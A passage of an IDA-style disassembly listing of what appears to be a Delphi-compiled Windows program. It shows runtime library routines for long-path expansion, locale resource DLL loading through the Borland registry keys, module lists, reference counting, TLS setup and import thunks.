		jnz	short loc_40005C31


loc_40005C26:				; CODE XREF: sub_40005C08+12j
					; sub_40005C08+17j
		mov	eax, ebx
		call	sub_40005BC0
		mov	edi, eax
		jmp	short loc_40005C39
; ---------------------------------------------------------------------------


loc_40005C31:				; CODE XREF: sub_40005C08+1Cj
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_40005C17


loc_40005C37:				; CODE XREF: sub_40005C08+Dj
		mov	edi, esi


loc_40005C39:				; CODE XREF: sub_40005C08+27j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40005C08	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40005C40	proc near		; CODE XREF: sub_40005C60+89p
					; sub_40005C60+9Cp ...
		push	ebx
		push	esi
		mov	esi, eax
		jmp	short loc_40005C4E
; ---------------------------------------------------------------------------


loc_40005C46:				; CODE XREF: sub_40005C40+18j
		push	esi
		call	sub_400011A0	; CharNextA
		mov	esi, eax


loc_40005C4E:				; CODE XREF: sub_40005C40+4j
		movzx	ebx, byte ptr [esi]
		test	bl, bl
		jz	short loc_40005C5A
		cmp	bl, 5Ch
		jnz	short loc_40005C46


loc_40005C5A:				; CODE XREF: sub_40005C40+13j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40005C40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40005C60	proc near		; CODE XREF: sub_40005E24+A3p

var_253		= byte ptr -253h
var_14E		= byte ptr -14Eh
var_122		= byte ptr -122h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDACh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax
		push	offset dword_40005E00
		call	sub_400011F0	; GetModuleHandleA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_40005CCE
		push	offset aGetlongpathnam ; "GetLongPathNameA"
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_400011F8	; GetProcAddress
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40005CCE
		push	105h
		lea	eax, [ebp+var_253]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jz	short loc_40005CCE
		mov	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_253]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_40001220	; lstrcpynA
		jmp	loc_40005DF6
; ---------------------------------------------------------------------------


loc_40005CCE:				; CODE XREF: sub_40005C60+29j
					; sub_40005C60+3Dj ...
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_40005D0E
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax+1], 5Ch
		jnz	loc_40005DF6
		mov	eax, [ebp+var_4]
		add	eax, 2
		call	sub_40005C40
		mov	esi, eax
		cmp	byte ptr [esi],	0
		jz	loc_40005DF6
		lea	eax, [esi+1]
		call	sub_40005C40
		mov	esi, eax
		cmp	byte ptr [esi],	0
		jz	loc_40005DF6
		jmp	short loc_40005D14
; ---------------------------------------------------------------------------


loc_40005D0E:				; CODE XREF: sub_40005C60+74j
		mov	esi, [ebp+var_4]
		add	esi, 2


loc_40005D14:				; CODE XREF: sub_40005C60+ACj
		mov	ebx, esi
		sub	ebx, [ebp+var_4]
		lea	eax, [ebx+1]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_253]
		push	eax
		call	sub_40001220	; lstrcpynA
		jmp	loc_40005DD9
; ---------------------------------------------------------------------------


loc_40005D32:				; CODE XREF: sub_40005C60+17Cj
		lea	eax, [esi+1]
		call	sub_40005C40
		mov	edi, eax
		mov	eax, edi
		sub	eax, esi
		add	eax, ebx
		inc	eax
		cmp	eax, 105h
		jg	loc_40005DF6
		mov	eax, edi
		sub	eax, esi
		inc	eax
		push	eax
		push	esi
		lea	eax, [ebp+var_253]
		add	eax, ebx
		push	eax
		call	sub_40001220	; lstrcpynA
		lea	eax, [ebp+var_14E]
		push	eax
		lea	eax, [ebp+var_253]
		push	eax
		call	sub_400011C0	; FindFirstFileA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0FFFFFFFFh
		jz	short loc_40005DF6
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_400011B8	; FindClose
		lea	eax, [ebp+var_122]
		push	eax
		call	sub_40001228	; lstrlenA
		lea	edx, [ebx+1]
		add	eax, edx
		inc	eax
		cmp	eax, 105h
		jg	short loc_40005DF6
		mov	[ebp+ebx+var_253], 5Ch
		mov	eax, 105h
		sub	eax, ebx
		dec	eax
		push	eax
		lea	eax, [ebp+var_122]
		push	eax
		lea	eax, [ebp+var_253]
		add	eax, ebx
		inc	eax
		push	eax
		call	sub_40001220	; lstrcpynA
		lea	eax, [ebp+var_122]
		push	eax
		call	sub_40001228	; lstrlenA
		inc	eax
		add	ebx, eax
		mov	esi, edi


loc_40005DD9:				; CODE XREF: sub_40005C60+CDj
		cmp	byte ptr [esi],	0
		jnz	loc_40005D32
		mov	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_253]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_40001220	; lstrcpynA


loc_40005DF6:				; CODE XREF: sub_40005C60+69j
					; sub_40005C60+7Dj ...
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40005C60	endp

; ---------------------------------------------------------------------------
dword_40005E00	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0aGetlongpathnam	db 'GetLongPathNameA',0 ; DATA XREF: sub_40005C60+2Bo
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40005E24	proc near		; CODE XREF: sub_40005BC0+27p

var_11D		= byte ptr -11Dh
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_B		= byte ptr -0Bh
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEE0h
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		push	105h
		lea	eax, [ebp+var_11D]
		push	eax
		push	0
		call	sub_400011E8	; GetModuleFileNameA
		mov	[ebp+var_12], 0
		lea	eax, [ebp+var_8]
		push	eax
		push	0F0019h
		push	0
		push	offset aSoftwareBorl_0 ; "Software\\Borland\\Locales"
		push	80000001h
		call	sub_40001240	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_40005EA7
		lea	eax, [ebp+var_8]
		push	eax
		push	0F0019h
		push	0
		push	offset aSoftwareBorl_0 ; "Software\\Borland\\Locales"
		push	80000002h
		call	sub_40001240	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_40005EA7
		lea	eax, [ebp+var_8]
		push	eax
		push	0F0019h
		push	0
		push	offset aSoftwareBorl_1 ; "Software\\Borland\\Delphi\\Locales"
		push	80000001h
		call	sub_40001240	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_40005F30


loc_40005EA7:				; CODE XREF: sub_40005E24+41j
					; sub_40005E24+5Fj
		xor	eax, eax
		push	ebp
		push	offset loc_40005F29
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_18], 5
		lea	eax, [ebp+var_11D]
		mov	edx, 105h
		call	sub_40005C60
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_12]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_40001248	; RegQueryValueExA
		test	eax, eax
		jz	short loc_40005F0E
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_12]
		push	eax
		push	0
		push	0
		push	offset dword_40006090
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_40001248	; RegQueryValueExA
		test	eax, eax
		jz	short loc_40005F0E
		mov	[ebp+var_12], 0


loc_40005F0E:				; CODE XREF: sub_40005E24+C6j
					; sub_40005E24+E4j
		mov	[ebp+var_E], 0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40005F30


loc_40005F1F:				; CODE XREF: sub_40005E24+10Aj
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_40001238	; RegCloseKey
		retn
; ---------------------------------------------------------------------------


loc_40005F29:				; DATA XREF: sub_40005E24+86o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40005F1F
; ---------------------------------------------------------------------------


loc_40005F30:				; CODE XREF: sub_40005E24+7Dj
					; DATA XREF: sub_40005E24+F6o
		push	105h
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_40001220	; lstrcpynA
		push	5
		lea	eax, [ebp+var_D]
		push	eax
		push	3
		call	sub_40001208	; GetThreadLocale
		push	eax
		call	sub_400011E0	; GetLocaleInfoA
		xor	esi, esi
		cmp	[ebp+var_11D], 0
		jz	loc_4000604A
		cmp	[ebp+var_D], 0
		jnz	short loc_40005F77
		cmp	[ebp+var_12], 0
		jz	loc_4000604A


loc_40005F77:				; CODE XREF: sub_40005E24+147j
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_40001228	; lstrlenA
		mov	ebx, eax
		lea	eax, [ebp+var_11D]
		add	ebx, eax
		jmp	short loc_40005F90
; ---------------------------------------------------------------------------


loc_40005F8F:				; CODE XREF: sub_40005E24+179j
		dec	ebx


loc_40005F90:				; CODE XREF: sub_40005E24+169j
		cmp	byte ptr [ebx],	2Eh
		jz	short loc_40005F9F
		lea	eax, [ebp+var_11D]
		cmp	ebx, eax
		jnz	short loc_40005F8F


loc_40005F9F:				; CODE XREF: sub_40005E24+16Fj
		lea	eax, [ebp+var_11D]
		cmp	ebx, eax
		jz	loc_4000604A
		inc	ebx
		cmp	[ebp+var_12], 0
		jz	short loc_40005FDC
		mov	edx, ebx
		sub	edx, eax
		mov	eax, 105h
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_12]
		push	eax
		push	ebx
		call	sub_40001220	; lstrcpynA
		push	2
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_40001210	; LoadLibraryExA
		mov	esi, eax


loc_40005FDC:				; CODE XREF: sub_40005E24+18Ej
		test	esi, esi
		jnz	short loc_4000604A
		cmp	[ebp+var_D], 0
		jz	short loc_4000604A
		lea	eax, [ebp+var_11D]
		mov	edx, ebx
		sub	edx, eax
		mov	eax, 105h
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_D]
		push	eax
		push	ebx
		call	sub_40001220	; lstrcpynA
		push	2
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_40001210	; LoadLibraryExA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4000604A
		mov	[ebp+var_B], 0
		lea	eax, [ebp+var_11D]
		mov	edx, ebx
		sub	edx, eax
		mov	eax, 105h
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_D]
		push	eax
		push	ebx
		call	sub_40001220	; lstrcpynA
		push	2
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_40001210	; LoadLibraryExA
		mov	esi, eax


loc_4000604A:				; CODE XREF: sub_40005E24+13Dj
					; sub_40005E24+14Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40005E24	endp

; ---------------------------------------------------------------------------
		align 4
aSoftwareBorl_0	db 'Software\Borland\Locales',0 ; DATA XREF: sub_40005E24+30o
					; sub_40005E24+4Eo
		align 10h
aSoftwareBorl_1	db 'Software\Borland\Delphi\Locales',0 ; DATA XREF: sub_40005E24+6Co
dword_40006090	dd 0		
; =============== S U B	R O U T	I N E =======================================



sub_40006094	proc near		; CODE XREF: sub_400191F8+24p
		call	sub_400060A4
		retn
sub_40006094	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000609C	proc near		; CODE XREF: sub_40013ED4+6Ep
		call	sub_400060C4
		retn
sub_4000609C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400060A4	proc near		; CODE XREF: sub_40006094p
					; sub_400190AC+50p
		push	ebx
		mov	ebx, eax
		mov	eax, 8
		call	sub_40002C20
		mov	edx, dword_4001A03C
		mov	[eax], edx
		mov	[eax+4], ebx
		mov	dword_4001A03C,	eax
		pop	ebx
		retn
sub_400060A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400060C4	proc near		; CODE XREF: sub_4000609Cp
					; sub_4000CC50+2Cp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, eax
		mov	edi, dword_4001A03C
		test	edi, edi
		jz	short loc_400060F5
		mov	eax, [edi+4]
		cmp	eax, ebp
		jnz	short loc_400060F5
		mov	eax, dword_4001A03C
		mov	eax, [eax]
		mov	dword_4001A03C,	eax
		mov	edx, 8
		mov	eax, edi
		call	sub_40002C3C
		jmp	short loc_40006122
; ---------------------------------------------------------------------------


loc_400060F5:				; CODE XREF: sub_400060C4+Ej
					; sub_400060C4+15j
		mov	ebx, edi
		test	ebx, ebx
		jz	short loc_40006122


loc_400060FB:				; CODE XREF: sub_400060C4+5Cj
		mov	esi, [ebx]
		test	esi, esi
		jz	short loc_4000611C
		mov	eax, [esi+4]
		cmp	eax, ebp
		jnz	short loc_4000611C
		mov	edi, esi
		mov	eax, [esi]
		mov	[ebx], eax
		mov	edx, 8
		mov	eax, edi
		call	sub_40002C3C
		jmp	short loc_40006122
; ---------------------------------------------------------------------------


loc_4000611C:				; CODE XREF: sub_400060C4+3Bj
					; sub_400060C4+42j
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_400060FB


loc_40006122:				; CODE XREF: sub_400060C4+2Fj
					; sub_400060C4+35j ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400060C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40006128	proc near		; CODE XREF: sub_40006194+1Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, dword_4001A03C
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4000617B


loc_40006142:				; CODE XREF: sub_40006128+51j
		xor	eax, eax
		push	ebp
		push	offset loc_40006163
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	dword ptr [ebx+4]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_4000616D
; ---------------------------------------------------------------------------


loc_40006163:				; DATA XREF: sub_40006128+1Do
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		call	sub_40004360


loc_4000616D:				; CODE XREF: sub_40006128+39j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40006142


loc_4000617B:				; CODE XREF: sub_40006128+18j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40006128	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40006184	proc near		; CODE XREF: sub_40006468+5p
		mov	edx, off_4001A038
		mov	[eax], edx
		mov	off_4001A038, eax
		retn
sub_40006184	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40006194	proc near		; CODE XREF: sub_40004790+73p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	ebp
		push	offset loc_400061F8
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_40006128
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400061FF


loc_400061C1:				; CODE XREF: sub_40006194+69j
		mov	eax, [ebp+var_4]
		cmp	eax, off_4001A038
		jnz	short loc_400061D8
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	off_4001A038, eax
		jmp	short loc_400061F7
; ---------------------------------------------------------------------------


loc_400061D8:				; CODE XREF: sub_40006194+36j
		mov	eax, off_4001A038
		test	eax, eax
		jz	short loc_400061F7


loc_400061E1:				; CODE XREF: sub_40006194+61j
		mov	edx, [eax]
		cmp	edx, [ebp+var_4]
		jnz	short loc_400061F1
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		mov	[eax], edx
		jmp	short loc_400061F7
; ---------------------------------------------------------------------------


loc_400061F1:				; CODE XREF: sub_40006194+52j
		mov	eax, [eax]
		test	eax, eax
		jnz	short loc_400061E1


loc_400061F7:				; CODE XREF: sub_40006194+42j
					; sub_40006194+4Bj ...
		retn
; ---------------------------------------------------------------------------


loc_400061F8:				; DATA XREF: sub_40006194+Ao
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400061C1
; ---------------------------------------------------------------------------


loc_400061FF:				; CODE XREF: sub_40006194:loc_400061F7j
					; DATA XREF: sub_40006194+28o
		pop	ecx
		pop	ebp
		retn
sub_40006194	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40006204	proc near		; CODE XREF: sub_40003D9C+7Ep
					; sub_40005314+BFp ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_40006218
		mov	dword ptr [eax], 0
		push	eax
		push	edx
		mov	eax, [edx]
		call	dword ptr [eax+8]
		pop	eax

locret_40006218:			; CODE XREF: sub_40006204+4j
		retn
sub_40006204	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000621C	proc near		; CODE XREF: sub_40003D6C+27j
					; sub_40003D9C+63p ...
		test	edx, edx
		jz	short loc_40006239
		push	edx
		push	eax
		mov	eax, [edx]
		push	edx
		call	dword ptr [eax+4]
		pop	eax
		mov	ecx, [eax]
		pop	dword ptr [eax]
		test	ecx, ecx
		jnz	short loc_40006232
		retn
; ---------------------------------------------------------------------------


loc_40006232:				; CODE XREF: sub_4000621C+13j
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]
		retn
; ---------------------------------------------------------------------------


loc_40006239:				; CODE XREF: sub_4000621C+2j
		mov	ecx, [eax]
		test	ecx, ecx
		mov	[eax], edx
		jz	short locret_40006247
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]

locret_40006247:			; CODE XREF: sub_4000621C+23j
		retn
sub_4000621C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40006248	proc near		; DATA XREF: .text:40001110o
					; .text:40007938o
		add	eax, 4
		push	eax
		call	sub_40001280	; InterlockedDecrement
		retn
sub_40006248	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40006254	proc near		; DATA XREF: .text:40001114o
					; .text:4000793Co
		cmp	dword ptr [eax+4], 0
		jz	short locret_40006261
		mov	al, 2
		call	sub_40002D50
; ---------------------------------------------------------------------------

locret_40006261:			; CODE XREF: sub_40006254+4j
		retn
sub_40006254	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40006264	proc near		; DATA XREF: .text:40001120o
					; .text:40007948o
		call	sub_40003C80
		mov	dword ptr [eax+4], 1
		retn
sub_40006264	endp

; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+8]
		mov	ecx, [ebp+10h]
		mov	edx, [ebp+0Ch]
		mov	eax, ebx
		call	sub_40003D9C
		test	al, al
		jz	short loc_40006290
		xor	eax, eax
		jmp	short loc_40006295
; ---------------------------------------------------------------------------


loc_40006290:				; CODE XREF: .text:4000628Aj
		mov	eax, 80004002h


loc_40006295:				; CODE XREF: .text:4000628Ej
		pop	ebx
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		add	eax, 4
		push	eax
		call	sub_40001278	; InterlockedIncrement
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+8]
		lea	eax, [ebx+4]
		push	eax
		call	sub_40001280	; InterlockedDecrement
		mov	esi, eax
		test	esi, esi
		jnz	short loc_400062D0
		mov	dl, 1
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx-4]


loc_400062D0:				; CODE XREF: .text:400062C5j
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400062D8	proc near		; CODE XREF: sub_40017A1C+31Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_400062E6
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_400062E6:				; CODE XREF: sub_400062D8+8j
		call	off_4001A728
		pop	ebp
		retn
sub_400062D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400062F0	proc near		; CODE XREF: sub_40004624+16p
					; sub_4000A8E0+2Ep ...

var_1008	= byte ptr -1008h

		push	ebx
		push	esi
		add	esp, 0FFFFF004h
		push	eax
		mov	esi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4000633E
		cmp	dword ptr [ebx+4], 10000h
		jge	short loc_40006334
		push	1000h
		lea	eax, [esp+100Ch+var_1008]
		push	eax
		mov	eax, [ebx+4]
		push	eax
		mov	eax, [ebx]
		mov	eax, [eax]
		call	sub_40005C08
		push	eax
		call	sub_40001218	; LoadStringA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, esi
		call	sub_40004974
		jmp	short loc_4000633E
; ---------------------------------------------------------------------------


loc_40006334:				; CODE XREF: sub_400062F0+18j
		mov	eax, esi
		mov	edx, [ebx+4]
		call	sub_40004A7C


loc_4000633E:				; CODE XREF: sub_400062F0+Fj
					; sub_400062F0+42j
		add	esp, 1000h
		pop	esi
		pop	ebx
		retn
sub_400062F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006348	proc near		; CODE XREF: .itext:40019080p
		jmp	ds:dword_40024414
sub_40006348	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40006350	proc near		; DATA XREF: .text:40018320o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_400063A4
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001C5B8
		jnz	short loc_40006396
		mov	eax, offset dword_4001C050
		call	sub_4000349C
		mov	eax, offset dword_4001C21C
		call	sub_4000349C
		mov	eax, offset dword_4001C3E8
		call	sub_4000349C
		call	sub_40002BB4
		mov	eax, offset off_4001A040
		call	sub_40004884


loc_40006396:				; CODE XREF: sub_40006350+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400063AB


loc_400063A3:				; CODE XREF: sub_40006350+59j
		retn
; ---------------------------------------------------------------------------


loc_400063A4:				; DATA XREF: sub_40006350+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400063A3
; ---------------------------------------------------------------------------


loc_400063AB:				; CODE XREF: sub_40006350:loc_400063A3j
					; DATA XREF: sub_40006350+4Eo
		pop	ebp
		retn
sub_40006350	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400063B0	proc near		; CODE XREF: sub_40006474+Cp
		jmp	ds:dword_400244C0
sub_400063B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400063B8	proc near		; CODE XREF: sub_400063D0+3p
		jmp	ds:dword_400244BC
sub_400063B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400063C0	proc near		; CODE XREF: sub_40006428+25p
					; sub_40006428+36p
		jmp	ds:dword_400244B8
sub_400063C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400063C8	proc near		; CODE XREF: sub_400063E4+3Dp
		jmp	ds:dword_400244B4
sub_400063C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400063D0	proc near		; CODE XREF: sub_400063E4+21p
		push	eax
		push	40h
		call	sub_400063B8	; LocalAlloc
		retn
sub_400063D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400063DC	proc near		; CODE XREF: sub_400063E4+1p
		mov	eax, 0Ch
		retn
sub_400063DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400063E4	proc near		; CODE XREF: sub_40006428:loc_40006442p
		push	ebx
		call	sub_400063DC
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40006426
		cmp	TlsIndex, 0FFFFFFFFh
		jnz	short loc_40006403
		mov	eax, 0E2h
		call	sub_40004878
; ---------------------------------------------------------------------------


loc_40006403:				; CODE XREF: sub_400063E4+13j
		mov	eax, ebx
		call	sub_400063D0
		test	eax, eax
		jnz	short loc_4000641A
		mov	eax, 0E2h
		call	sub_40004878
; ---------------------------------------------------------------------------
		jmp	short loc_40006426
; ---------------------------------------------------------------------------


loc_4000641A:				; CODE XREF: sub_400063E4+28j
		push	eax
		mov	eax, TlsIndex
		push	eax
		call	sub_400063C8	; TlsSetValue


loc_40006426:				; CODE XREF: sub_400063E4+Aj
					; sub_400063E4+34j
		pop	ebx
		retn
sub_400063E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40006428	proc near		; CODE XREF: sub_40002CA4p
					; sub_40002CA4+Ep ...
		mov	cl, ds:byte_4001E7F4
		mov	eax, TlsIndex
		test	cl, cl
		jnz	short loc_4000645D
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_40006442:				; CODE XREF: sub_40006428+3Dj
		call	sub_400063E4
		mov	eax, TlsIndex
		push	eax
		call	sub_400063C0	; TlsGetValue
		test	eax, eax
		jz	short loc_40006457
		retn
; ---------------------------------------------------------------------------


loc_40006457:				; CODE XREF: sub_40006428+2Cj
		mov	eax, ds:dword_4001E7FC
		retn
; ---------------------------------------------------------------------------


loc_4000645D:				; CODE XREF: sub_40006428+Dj
		push	eax
		call	sub_400063C0	; TlsGetValue
		test	eax, eax
		jz	short loc_40006442
		retn
sub_40006428	endp


; =============== S U B	R O U T	I N E =======================================



sub_40006468	proc near		; CODE XREF: sub_40006474+2Ep
		mov	eax, offset dword_4001A7B4
		call	sub_40006184
		retn
sub_40006468	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40006474	proc near		; CODE XREF: .itext:40019408p
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	TlsIndex, eax
		push	0
		call	sub_400063B0	; GetModuleHandleA
		mov	ds:dword_4001E7F8, eax
		mov	eax, ds:dword_4001E7F8
		mov	dword_4001A7B8,	eax
		xor	eax, eax
		mov	dword_4001A7BC,	eax
		xor	eax, eax
		mov	dword_4001A7C0,	eax
		call	sub_40006468
		mov	edx, offset dword_4001A7B4
		mov	eax, ebx
		call	sub_400045E4
		pop	ebx
		retn
sub_40006474	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400064B8	proc near		; CODE XREF: sub_40017944+35p
		jmp	ds:dword_4002461C
sub_400064B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400064C0	proc near		; CODE XREF: sub_400141BC+1Ap
					; sub_400141EC+14p
		jmp	ds:dword_40024618
sub_400064C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400064C8	proc near		; CODE XREF: sub_40014250+AEp
		jmp	ds:dword_40024614
sub_400064C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400064D0	proc near		; CODE XREF: sub_400141BC+11p
		jmp	ds:dword_40024610
sub_400064D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400064D8	proc near		; CODE XREF: sub_40014250+7Ap
					; sub_40014374+6Cp ...
		jmp	ds:dword_4002460C
sub_400064D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400064E0	proc near		; CODE XREF: sub_4001452C+32p
					; sub_400146B4+2Bp
		jmp	ds:dword_40024608
sub_400064E0	endp

; ---------------------------------------------------------------------------
		align 4

